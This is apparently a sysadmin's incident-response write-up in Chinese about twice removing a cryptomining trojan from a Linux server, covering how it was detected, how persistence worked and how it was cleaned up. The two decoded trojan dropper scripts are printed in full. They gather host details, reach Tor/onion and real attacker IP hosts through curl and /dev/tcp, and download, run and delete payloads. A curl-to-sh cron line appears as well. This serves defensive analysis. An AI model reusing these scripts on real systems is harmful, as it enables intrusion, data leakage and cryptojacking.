2021年12月27日第一次處理
-
初步排查
收到CPU使用率100%的監控告警
登陸主機,發現一個陌生程式,程式名為SloH4auG,懷疑是木馬。
ps -ef|grep SloH4auG 找到pid
cd /proc/7407/ && ll 檢視程式的exec,當時沒截圖,發現執行程式的檔名是亂碼,並且已經被刪除。這種會清理痕跡的執行行為,基本可以確定該檔案為木馬。
-
緊急處理
確定伺服器已經中毒,開始緊急處置,首先確定業務影響,確定可控之後使用防火牆封禁其網路出入口,特別是內網進出全部封禁,避免其繼續汙染內網其他主機。
因為這臺主機沒有主要業務,而且我準備抓到木馬乾了什麼,所以就暫時保留公網進出口,因為很多木馬發現自己無法與C&C伺服器建立連線的話,會進行自殺並清理痕跡。
-
找木馬樣本
cd /var/spool/cron && ll,檢視定時任務的修改時間,發現root使用者的定時任務有修改。
cat root 發現一條定時任務
base64解碼後得到木馬程式碼如下:
lYLmBkzzKln31w9xOAKuqXpObYJjY exec &>/dev/null export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6) c=$(echo "curl -4fsSLkA- -m200") t=$(echo "fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad") sockz() { n=(dns.digitale-gesellschaft.ch doh.li doh.pub fi.doh.dns.snopyta.org hydra.plan9-ns1.com resolver-eu.lelux.fi dns.hostux.net dns.twnic.tw doh-fi.blahdns.com resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch) p=$(echo "dns-query?name=relay.tor2socks.in") q=${n[$((RANDOM%${#n[@]}))]} s=$($c https://$q/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|tail -1) } fexe() { for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done } u() { sockz f=/int.$(uname -m) x=./$(date|md5sum|cut -f1 -d-) r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0) $c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r chmod +x $x;$x;rm -f $x } for h in tor2web.in tor2web.it do if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then fexe;u $t.$h ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h) ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h) else break fi done
從指令碼內容看,核心是u()函式,收集了主機的資訊後使用匿名代理下載了一個檔案並執行,執行完成後刪除了。
可以找個沙盒嘗試下載該檔案,當時我沒有下載。直接就開始清理了。
-
清理木馬
kill木馬程式,刪掉對應crontab記錄,crontab有兩個位置,都要清理,/var/spool/cron,/etc/cront.d/
清理木馬檔案,對應兩個crontab記錄,也是兩個指令碼檔案,都要刪除。
至此告一段落。
2022年2月10日第二次處理
-
木馬再次出現
上次中木馬之後,我清理了公網的無用埠,已經無法出公網,而這臺主機重啟後,該主機出現了惡意程式碼告警。
程式鏈: -[542] /usr/sbin/crond -n -[4136] /usr/sbin/crond -n -[4141] /bin/sh -c curl -fsS 139.59.150.7:443/rl|sh
登入主機,發現正在執行的sh程式,找到程式pid,進入/proc/$pid/,檢視cmdline,發現程式wget了一個指令碼,獲取該指令碼如下。
XRANDOM exec &>/dev/null export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin function kurl() { read proto server path <<<$(echo ${1//// }) DOC=/${path// //} HOST=${server//:*} PORT=${server//*:} [[ x"${HOST}" == x"${PORT}" ]] && PORT=80 exec 3<>/dev/tcp/${HOST}/$PORT echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3 (while read line; do [[ "$line" == $'\r' ]] && break done && cat) <&3 exec 3>&- } rm -f $HOME/ss curl -V || wget -q https://github.com/moparisthebest/static-curl/releases/download/v7.75.0/curl-amd64 -O $HOME/curl;chmod +x $HOME/curl curl -V || kurl http://139.59.150.7:443/curl > $HOME/curl;chmod +x $HOME/curl ss -v || kurl http://139.59.150.7:443/ss > $HOME/ss;chmod +x $HOME/ss ss -v || curl -s http://139.59.150.7:443/ss -o $HOME/ss;chmod +x $HOME/ss ps || curl -s http://139.59.150.7:443/ps -o $HOME/ps;chmod +x $HOME/ps d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6) c=$(echo "curl -4fsSLkA- -m200") t=$(echo "rxmxpzfkydkulhhqnuftbmf6d5q67jjchopmh4ofszfwwnmz4bqq2fid") sockz() { n=(doh.nl.ahadns.net dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.no.ahadns.net doh-fi.blahdns.com fi.doh.dns.snopyta.org resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch) p=$(echo "dns-query?name=relay.tor2socks.in") s=$($c https://${n[$((RANDOM%11))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|head -n 1) } fexe() { for i in . $HOME /usr/bin $d /tmp /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done } u() { sockz f=/l/rd.$(uname -m) x=./$(date|md5sum|cut -f1 -d-) r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0) $c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r chmod +x $x;$x;rm -f $x } for h in tor2web.in tor2web.it do if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then fexe;u $t.$h ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h) ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h) else break fi done rm -f /etc/cron.d/systemdd
該指令碼與上次發現的一樣,也是收集主機資訊並通過匿名代理下載木馬檔案,這次我獲取到了該檔案,該檔案是一個二進位制檔案,執行後就會執行後續的挖礦程式。即上次處理時發現的情況。
從這次情況看,上次清理時沒有處理開機自動啟動的問題,這次抓程式時,從cmdline裡看到,應該是開機啟動時執行了/usr/sbin/crond -n命令拉起了木馬,然後刪除了/usr/sbin/crond檔案。這是把自己偽裝成crond服務防止被識別。
-
遺留問題
但是開機啟動的配置我還沒有找到,因為linux啟動時可以嵌入程式碼的地方太多了,準備把這臺機器應用遷移後釋放掉了。